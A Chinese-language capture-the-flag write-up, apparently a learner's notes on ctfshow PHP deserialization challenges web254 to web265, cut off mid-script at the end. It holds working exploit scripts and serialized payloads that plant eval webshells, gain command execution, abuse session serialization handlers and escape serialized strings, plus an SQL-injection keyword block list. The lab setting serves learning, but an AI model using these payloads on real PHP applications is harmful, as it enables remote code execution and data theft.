ctfshow-PHP反序列化

news2025/4/8 8:23:48

web254

源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
//mytime 2023-12-4 0:22
*/
error_reporting(0);//不显示任何错误报告
highlight_file(__FILE__);//高亮显示
include('flag.php');//文件包含一个flag.php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public function checkVip(){//返回属性值 真/假
        return $this->isVip;
    }
    public function login($u,$p){//如果属性username等于参数u 属性password等于p 赋值isvip为真
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){ //如果vip为真 
            global $flag;//在函数内部访问全局变量$flag
            echo "your flag is ".$flag;//输出$flag
        }else{
            echo "no vip, no flag";//如果vip为假输出 不是flag
        }
    }
}
$username=$_GET['username'];//获取参数username和password
$password=$_GET['password'];
if(isset($username) && isset($password)){//如果存在参数值
    $user = new ctfShowUser();//实例化ctfshowuser为user对象
    if($user->login($username,$password)){//调用login方法 返回为真执行下列语句块
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();//这是我们的目的
        }
    }else{
        echo "no vip,no flag";
    }
}

分析半天发现传参username=xxxxx password=xxxxx就可以了

反过来一想在序列化的时候用不上我们的参数 其实就可以判定这道题和反序列化没什么关系


web255

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
mytime 2023/12/4 13:28
*/
//感觉和上一道题没什么区别 
//发现有反序列化了 真开心
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){ //判断vip是否为真
        return $this->isVip;
    }
    public function login($u,$p){ //如果参数和属性相等返回真
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){//只有这个函数才能输出我们想要flag
        if($this->isVip){//vip必须为真
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);//反序列化 值从cookie的user中传进来 估计得抓包修改ccokie的值 并且
    if($user->login($username,$password)){//这就相当于 cookie中user为序列化的字符串 而且是当前类的,对属性没啥要求就写一个当前类的序列化的poc就行
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

代码分析在代码中 现在抓包

呀没有cookie字段呀(我是小白) 找教程

发现浏览器使用f12 应用程序里面有个cookie 在这里可以手动设置cook(学习到了)这能这关根本就没有设置cookie 但是浏览器可以手动提交一个 后端也会进行处理获取cookie

构造poc代码

为什么要进行url编码呢 在cookie中"算截断 所以必须要进行url编码,在传输过程中原始数据和url编码后的数据都能通过浏览器进行传输

exp

<?php
class ctfShowUser{
    public $username='1';
    public $password='2';
    public $isVip=True;
}
$c=new ctfShowUser();
echo urlencode(serialize($c));

得出poc

O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%222%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

放到cookie中

在抓包中的表单中手动添加也可以

传入username=1 password=2 成功

我感觉在构造poc的时候 属性不需要设置username和password的值 只需要这是vip的值是true就可以 尝试一下

构造poc代码

exp

<?php
class ctfShowUser{
    public $isVip=True;
}
$c=new ctfShowUser();
echo urlencode(serialize($c));

也可以成功


web256

源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
mytime 2023/12/4 13:44
*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){//这里必须让username和password的值不一样
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){//判断传进来的参数
    $user = unserialize($_COOKIE['user']);    //获取cookie里面的user值 并进行反序列化
    if($user->login($username,$password)){//判断传进来的参数和cookie反序列化对象中的值是否一样
        if($user->checkVip()){//在反序列化过程中必须让vip为true
            $user->vipOneKeyGetFlag();//反序列化过程中让username和password的值不一样
        }
    }else{
        echo "no vip,no flag";
    }
}

web255中一共有两种方法 第一种方法在反序列化中 让username和password的值等于1和2 vip为true 就是这道题的答案(其实在web255中真正简便的通关就是第二种方法,第一种繁琐一点)

构造poc代码

exp

<?php
class ctfShowUser{
    public $username='1';
    public $password='2';
    public $isVip=True;
}
$c=new ctfShowUser();
echo urlencode(serialize($c));

放入cookie中并进行传值 username=1 password=2 成功


web257

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
mytime 2023/12/4 14.30
*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';//设置一个class变量

    public function __construct(){
        $this->class=new info();//?在实例化过程中 这是为info实例化?
    }
    public function login($u,$p){//username和password的值必须相等
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){//在反序列化过程中 调用getinfo方法?
        $this->class->getInfo();//必须先让__construct执行 才能执行这个
    }

}

class info{ //原来info类在这里呢
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;//getinfo在这里呢 返回user的值
    }
}
class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);//估计这就是我们利用的地方 有eval
    }
}

$username=$_GET['username'];//获取两个参数
$password=$_GET['password'];

if(isset($username) && isset($password)){//如果两个参数存在
    $user = unserialize($_COOKIE['user']);//反序列化cookie中的user
    $user->login($username,$password);//在这里就能确定cookie中必须让ctfshowuser反序列化,这个时候user才是类的ctfshowuser的对象 这样才能执行这条语句
}   //最后发现这最后login没有用
//发现正常反序列化不会执行__construct 不能让class为 info的对象 反过来一看 没必要让info实例化为class 因为 info中没有我们可以利用的
//在触发__destruct前 让calss成为backDoor的对象就行  那就在poc构造的时候让class为backdoor即可
//发现如果想要触发eval 只要随便传user和password vip也随便 只要保证class为backDoor的对象就可以

说实话有点蒙住了 研究发现这道题不需要 username 和password和vip 随便传参数就行 只要能保证 在反序列化的过程中calss为backDdoor的对象就可以 

exp

写完这个exp很爽 因为我看大佬们的很长 没必要写那么长

<?php
class ctfShowUser{
    private $class;//这里也是一个注意点 不能在属性直接进行backDoor实例化 
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    private $code="eval(\$_GET['a']);";
    //注意在这里code 里面的值只是字符串 必须让$当成字符 如果不当成字符 他很容易从url中获取a的参数,容易在这里就会报错 
    //这里还有一个点就是把eval(\$_GET['a']);当成参数 最后变成eval(eval(\$_GET['a'])); 有一个好处这个时候 不用每次都进行构造poc 只需要传参的时候加入一个a参数就可以
}
$ctf=new ctfShowUser();
echo urlencode(serialize($ctf));//url一个道理在cookie中"用来截断 必须进行url编码

poc

O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22eval%28%24_GET%5B%27a%27%5D%29%3B%22%3B%7D%7D

将poc放入cookie中 username和password随便传参 a传参为我们想执行的命令system('tac flag.php'); 单引号必须有 这个tac我换成cat就不行 他们说过滤了我还是多少有点纳闷 哈哈 tac就是反序 cat正序

成功(很开心 获取到flag特别有成就)


web258

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';
    public function __construct(){ //只有反序列化无法触发 只能在构造poc的时候触发让clss为backDoor的对象
        $this->class=new info();
    }
	//整体分析后这个函数没什么用
    public function login($u,$p){  
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){ //反序列化触发 并且class为backDoor的对象 就能执行backDoor中的getinfo方法
        $this->class->getInfo();
    }
}
//这个类也没有用
class info{                   
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}                              
class backDoor{
public $code;//在工作poc的时候让code为我们需要执行的命令 或者 eval(\$_GET['a']); 不要忘记这有个反斜杠 让$变为单纯的字符 这样就能成功能当eval()的参数了 不会报错
    public function getInfo(){
        eval($this->code);//这个eval依旧是我们获取flag的地方
    }
}
$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){//加上了过滤条件 o:6 写成o:+6就可以
        $user = unserialize($_COOKIE['user']);//进行反序列化
    }
    $user->login($username,$password);
}
/

和上一题基本一样就是加上了一个过滤条件o:1改成o:+1

错误 exp

<?php
class ctfShowUser{
    private $class;
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    private $code="eval(\$_GET['a']);";
}
$ctf=serialize(new ctfShowUser());
$ctf=str_replace(':11',':+11',$ctf);
$ctf=str_replace(':8',':+8',$ctf);
echo urlencode($ctf);

正确 exp(当时为了方便直接使用了上一题的exp导致 序列化的class和pricate为私有属性,真是一个教训,研究了20分钟。)

<?php
class ctfShowUser{
    public $class;
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    public $code="eval(\$_GET['a']);";
}
$ctf=serialize(new ctfShowUser());
$ctf=str_replace('O:', 'O:+',$ctf);
echo $ctf;
echo urlencode($ctf);

poc

O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22eval%28%24_GET%5B%27a%27%5D%29%3B%22%3B%7D%7D

将poc传入cookie中 并传参usernmae=任意值 password=任意值 a=我们想要执行的命令 system('tac flag.php');注意 上两道题我还说呢cat什么的不好使 原来都在源代码中

成功


web259

不会 学完ssrf再做 里面还有nc等内容


web260

这题比较简单 只要传入的参数里面包含ctfshow_i_love_36D字符串 这个if语句就为真

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

看一下serialize序列化的ctfshow_i_love_36D结果

<?php
$a="ctfshow_i_love_36D"
echo serialize($a)

输出 序列化里面也包括ctfshow_i_love_36D字符串 所以直接就能获取到flag

s:18:"ctfshow_i_love_36D";

传参 成功


web261 

mytime 2023/12/4 20:48
<?php

highlight_file(__FILE__);
class ctfshowvip{
    public $username;
    public $password;
    public $code;
    //不用管 
    public function __construct($u,$p){//将传进来的参数赋值给属性username和password
        $this->username=$u;
        $this->password=$p;
    }
    //不用管 
    public function __wakeup(){//反序列化会执行到这 有__unserialize这个魔术方法就会绕过
        if($this->username!='' || $this->password!=''){
            die('error');//只要是程序执行到这 就立马暂停程序 所以不能让他俩的值为空
        }
    }
    //不用管 没有将对象当成函数进行调用的情况
    public function __invoke(){//将对象当成函数进行调用就会触发 这里有eval 必须让invoke触发才行 并且code为我们需要执行的命令
        eval($this->code);
    }
    //不用管 用不上没有序列化的情况
    public function __sleep(){//序列化的时候自动调用该方法 会赋值username和password位空 这是我们不想要到的结果
        $this->username='';
        $this->password='';
    }
    //触发时间和wakeup一样
    public function __unserialize($data){//普通的一个方法 将数组中的username和password赋值给属性 这是我们想要的结果 并且code是从username和password中来的 这两个属性结合起来才是我们想要执行的命令
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){//反序列化会执行到这
        if($this->code==0x36d){ //如果code=877 0x36d为整形算是弱类型比较 877a 877.php都会判断相等
            file_put_contents($this->username, $this->password);//将password的内容写入到username中
        }
    }
}

unserialize($_GET['vip']); 

审计代码发现:

  1. 有__unserialize()(7.4以上版本才有),在7.4以上版本反序列化会绕过__wakeup()函数。
  2. 在destruct()函数中,有file_put_contents可以写入文件,一句话木马儿
  3. $this->code==0x36d是弱类型比较,0x36d又有没有打引号,所以代表数字,且数字是877,那么877a877.php等可以通过比较;所以设置username='877.php'来通过比较

额外知识

当__serialize和__sleep方法同时存在,序列化时忽略__sleep方法而执行__serialize;当__unserialize方法和__wakeup方法同时存在,反序列化时忽略__wakeup方法而执行__unserialize

__unserialize的参数:当__serialize方法存在时,参数为__serialize的返回数组;当__serialize方法不存在时,参数为实例对象的所有属性值组合而成的数组

exp

<?php
class ctfshowvip{
    public $username='877.php';
    public $password='<?php eval($_GET[a]);?>';
    public $code;
    }
$c=new ctfshowvip();
echo serialize($c);

输出

O:10:"ctfshowvip":3:{s:8:"username";s:7:"877.php";s:8:"password";s:23:"";s:4:"code";N;}

估计是一句话木马的原因 不知道哪里给杀没了 手动添加进去就行

O:10:"ctfshowvip":3:{s:8:"username";s:7:"877.php";s:8:"password";s:23:"<?php eval($_GET[a]);?>";s:4:"code";N;}

传参后 877这个文件就生成出来了 里面的内容就是一句话木马 访问877并以GET方式加入参数a=我们需要执行的命令,先查看一下flag在哪

输出flag文件 成功 

在这里提一句一句话木马GET方式POST方式都可以 只是不同的方式提交参数而已

刚刚一句话木马莫名其妙被sha了 看看直接生成url的方式能不能被sha掉

发现直接生成url的方式 一句话木马还在


web262

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){//传入三个参数
    $msg = new message($f,$m,$t);//将message实例化 通过魔术方法将传进来的参数赋值给对象中的属性
    $umsg = str_replace('fuck', 'loveU', serialize($msg));//序列化这个对象生成字符串 并且匹配字符串中的fuck替换为loveu
    setcookie('msg',base64_encode($umsg));//将这个字符串进行base64编码 当做名为msg的cookie传到客户端
    echo 'Your message has been sent';
}
highlight_file(__FILE__);

看代码说是发给客户端一个cookie 随便传一个值发现在本地cookie记录里已经收到了传过来的cookie

分析半天是在不会 看大师傅的视频 听完讲的我就感慨 我就说的吗这个页面无论咋修改也获取不到flag呀 原来是还有一个页面就在最上方给你提示有个message.php 我是发现了做ctf题就要眼观六路耳听八方 越细越好 大师傅的教程没看啥这个逃逸我会 我就没继续看了 按照大师傅说的预期和非预期两种方式

message.php文件

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
highlight_file(__FILE__);
include('flag.php');
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
if(isset($_COOKIE['msg'])){//从cookie中获取msg 如果存在值
    $msg = unserialize(base64_decode($_COOKIE['msg']));//先base64解码 再反序列化为masg
    if($msg->token=='admin'){//如果token为admin就能获取flag
        echo $flag;
    }
}

看到这个页面才知道 这才是获取flag的页面 第一个页面只是生成poc的一个页面 (两种 第一个页面通过构造参数 直接让第一个页面发送过来一个cookie,这也是正常方式,必须通过第一个页面生成cookie 第二种,不正常方式 就是借用第一个页面的代码制作出poc 手动添加到浏览器的ccokie中,直接构造一个token=admin的序列化的字符串 手动添加到cookie中,虽然这种方式简单,但没通过第一个页面,不符合题目规则)

正常方式就是 逃逸方式(正常方式思路,只能通过第一个页面进行生成cookie)

因为第一个页面中提交的参数

一步一步来

exp

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
    public $from=a;
    public $msg=b;
    public $to=c;
    public $token='admin';
}
    $msg = new message();
	echo $msg;
    //$msg = str_replace('fuck', 'loveU', serialize($msg));//替换
    //setcookie('msg',base64_encode($umsg));
    //echo 'Your message has been sent';

输出

O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}

毕竟是学习吗那就是用字符串增多逃逸和字符串减少逃逸 都试一试

字符串增多逃逸

四个属性但是我们传参数的时候只能传3个参数 如何让token属性成功反序列化值为admin呢 就用到了字符串逃逸的方式

虽然我们传入3个参数 但是这个对象依旧是有4个属性 token从原始类中获取的值为user

";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}这是需要吐出来的 于是需要62个fuck

和需要吐出来的尽心拼接

fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}

当成第一个参数传值

访问message页面 直接就能获取刚刚发给客户端的cookie

成功

字符串减少逃逸

弄了半天其实用不了减少逃逸

原因 token他会自动添加到对象的属性中 这个时候倒是能通过字符串减少把token的参数user给吃进来 但是后续的我们需要添加的";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";} 通过传参必须要传给最后属性的token中 但是传参我们可控的只有前三个参数 所以无法使用减少逃逸的方式,现在过了一天了 我又发现这道题就是将fuck替换成loveu 并没有loveu替换成fuck 哈哈 只能进行字符串增多逃逸

非预期解就是直接修改构造一个序列化的字符串里面有4个属性  直接在message页面手动修改cookie即可

O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}

需要base64编码

Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO3M6MToiYSI7czozOiJtc2ciO3M6MToiYiI7czoyOiJ0byI7czoxOiJjIjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

直接访问页面无反应

手动添加cookie 成功


web263

登录页面  第一次反序列化遇见这种题型

大师傅说有源码泄露有个www.zip的压缩包

有用的代码

index.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 16:28:37
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-06 19:21:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
	error_reporting(0);
	session_start();
	//超过5次禁止登陆
	if(isset($_SESSION['limit'])){
		$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
		//如果session中limit的值大于5就登录失败 否则对cookie中的limit的值进行base64解码赋值给session中的limit
		//cookie的值存储在浏览器中 
		//$_SESSION['limit'] 是用于在用户会话期间存储和跟踪信息的 PHP 会话变量。它的值存储在服务器端,只在当前用户会话中有效。
		//这意味着只有在用户保持登录状态时,$_SESSION['limit'] 的值才会保留,并且在不同页面之间共享。
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);//将cookie的值解码后+1再进行编码
	}else{//如果session的值为空 设置名为limit的值为1 session中limit的值也为1
		 setcookie("limit",base64_encode('1'));
		 $_SESSION['limit']= 1;
	}
	
?>

inc.php

<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php'); //session以 PHP 序列化的形式存储在服务器上
date_default_timezone_set("Asia/Shanghai");//时间为上海
session_start();//启动 PHP 会话功能,允许使用 $_SESSION 变量来存储和访问会话数据。
use \CTFSHOW\CTFSHOW; 
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
    'database_type' => 'mysql',
    'database_name' => 'web',
    'server' => 'localhost',
    'username' => 'root',
    'password' => 'root',
    'charset' => 'utf8',
    'port' => 3306,
    'prefix' => '',
    'option' => [
        PDO::ATTR_CASE => PDO::CASE_NATURAL
    ]
]);
//以上进行数据库链接

// sql注入检查
function checkForm($str){
    if(!isset($str)){//参数如果不存在返回true
        return true;
    }else{//如果有参数 使用正则进行一大堆的过滤
    return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
    }
}
//定义了一个类
class User{
    public $username;
    public $password;
    public $status;//如果TRUE代表成功 FALSE代表失败
    function __construct($username,$password){//序列化的死后将传入的参数赋值给属性username和password
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){//就是一个普通的方法 将传入的参数赋值给属性status
        $this->status=$s;
    }
    function __destruct(){//反序列化的时候 
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

经过测试不登陆的时候它默认就有cookie id=1

在index.php中

$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);

他的session的键名写错了 我们直接就能执行下一步绕过了这个限制 并且成功将cookie的值赋值给session中,在inc的文件中作者特意声明了存储session的方式为php,那就证明php.ini中默认是php_serialize方式 index.php的方式就是默认的,这个时候session从cookie获取的数据会以php_serialize的方式存储在服务器的session文件中

在inc文件中

 session_start() 函数会解析 session 文件,因为设置了解析方式为php,就相当于进行了反序列化

并且inc中有一个user类 并且有个__destruct()魔术方法 内容就是生成一个log-$username文件用来记录日志,日志内容就有password参数

这就有思路了

1、构造一个poc 序列化形式的,里面是user的类 username为1.php password为一句话木马 手动通过第一个页面的cookie提交

这个时候服务器会将session信息以php_serialize的方式存储到session文件中

2、直接访问inc页面 因为有 session_start()所以自动使用php方法会以反序列化的方式解析session的键值从而获取数据  因为采用的是反序列化并且我们构造的字符串是user类的,就能出发魔术方法 从而将一句话木马写入一个log-1.php的文件中,php方法会将竖线的后面当成键值 所以要在poc前加入一个|

exp

注意一句话木马不行 必须在后面加上一个phpinfo()不知道是什么原因 记住就行 如果单独的一句话木马不行 就加一个phpino() 大师傅说可能是内部编码的问题 不懂

<?php
class User{
    public $username;
    public $password;
    function __construct($username,$password){//序列化的死后将传入的参数赋值给属性username和password
        $this->username = $username;
        $this->password = $password;
    }
}
$user = new User('tzy.php','<?php eval($_GET[a]);phpinfo();?>');
echo base64_encode('|'.serialize($user));

开始构造poc

无编码样式

|O:4:"User":2:{s:8:"username";s:5:"tzy.php";s:8:"password";s:33:"<?php eval($_GET[a]);phpinfo();?>";}

base64编码结果

fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo3OiJ0enkucGhwIjtzOjg6InBhc3N3b3JkIjtzOjMzOiI8P3BocCBldmFsKCRfR0VUW2FdKTtwaHBpbmZvKCk7Pz4iO30=

登陆页面传入cookie后 直接访问check.php(包含inc.php)  直接访问我们生成的日志文件

使用ls看看当前目录下有什么文件

发现有个flag.php文件

查看后获取到了flag

web264

源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
session_start();//启动一个session会话 可以使用session变量了
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){//序列化的时候将三个参数赋值给三个属性
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
$f = $_GET['f'];//GET方式获取三个参数
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){//如果存在
    $msg = new message($f,$m,$t);//进行序列化
    $umsg = str_replace('fuck', 'loveU', serialize($msg));//如果检测到fuck就替换成lovU 一看就是字符串增多逃逸
    $_SESSION['msg']=base64_encode($umsg);//将结果进行base64编码赋值给session的msg
    echo 'Your message has been sent';
}
highlight_file(__FILE__);

message.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
session_start();//启动session会话
highlight_file(__FILE__);
include('flag.php');
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
if(isset($_COOKIE['msg'])){//如果cookie中存在名为msg的值
    $msg = unserialize(base64_decode($_SESSION['msg']));//对session中masg的值进行base解码然后反序列化
    if($msg->token=='admin'){
        echo $flag;
    }
}

我们发现 第一个页面会把获取到的参数信息存到session中 mession会将session中的信息进行反序列化,但是有一个前提条件 cookie中有msg值,cookie的msg和session不是一个值 cookie的msg 我们需要手动添加  随意值就行

分析

//第一个页面正常情况下的序列化的字符串
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}
//但是我们只能提交三个参数 无法修改token的值
//只能使用字符串增多逃逸
//需要吐出来的 ";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";} 一共62个字符 每个fuck变成loveu能吐出1个字符
//需要62个fuck
//fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck
//和需要吐出来的字符串进行拼接得出
//O:7:"message":4:{s:4:"from";s:310:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}
//直接进行传值

exp

<?php
class message{
    public $from='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}';
    public $msg=b;
    public $to=c;
    public $token='admin';
}
    $msg = serialize(new message());
    
    echo $msg;

输出

传值

访问message.php 访问前手动添加一个名为msg的cookie 值任意

成功给获取flag


web265

源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;
    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;//三个等于号代表恒等于 类型和值必须都相等
    }
}
$ctfshow = unserialize($_GET['ctfshow']);//反序列化传入来的 ctfshow值
$ctfshow->token=md5(mt_rand());//将任意值进行md5加密 赋值给roken
if($ctfshow->login()){ //如果token恒等于password才能得到flag
    echo $flag;
}

通过代码分析 光值等于还不行必须是恒等于 就要使用引用了

手写poc

O:12:"ctfshowAdmin":2:{s:5:"token";N;s:8:"password";R:2;}

解释:token的值第一次调用该类 password的值R:2代表该值第二次调用该类

我好像明白怎么解释了 这里ctfshowAdmin是第一个位置 token是第二个位置 R代表引用 R:2代表引用第二个位置 哈哈哈 这是正确解释

最好不要直接手写poc 很容易出错

解释的不容易理解,就是他俩变量指向同一个位置 也就相当于他俩恒等于

exp

<?php
class ctfshowAdmin{
    public $token;
    public $password;
    public function __construct(){
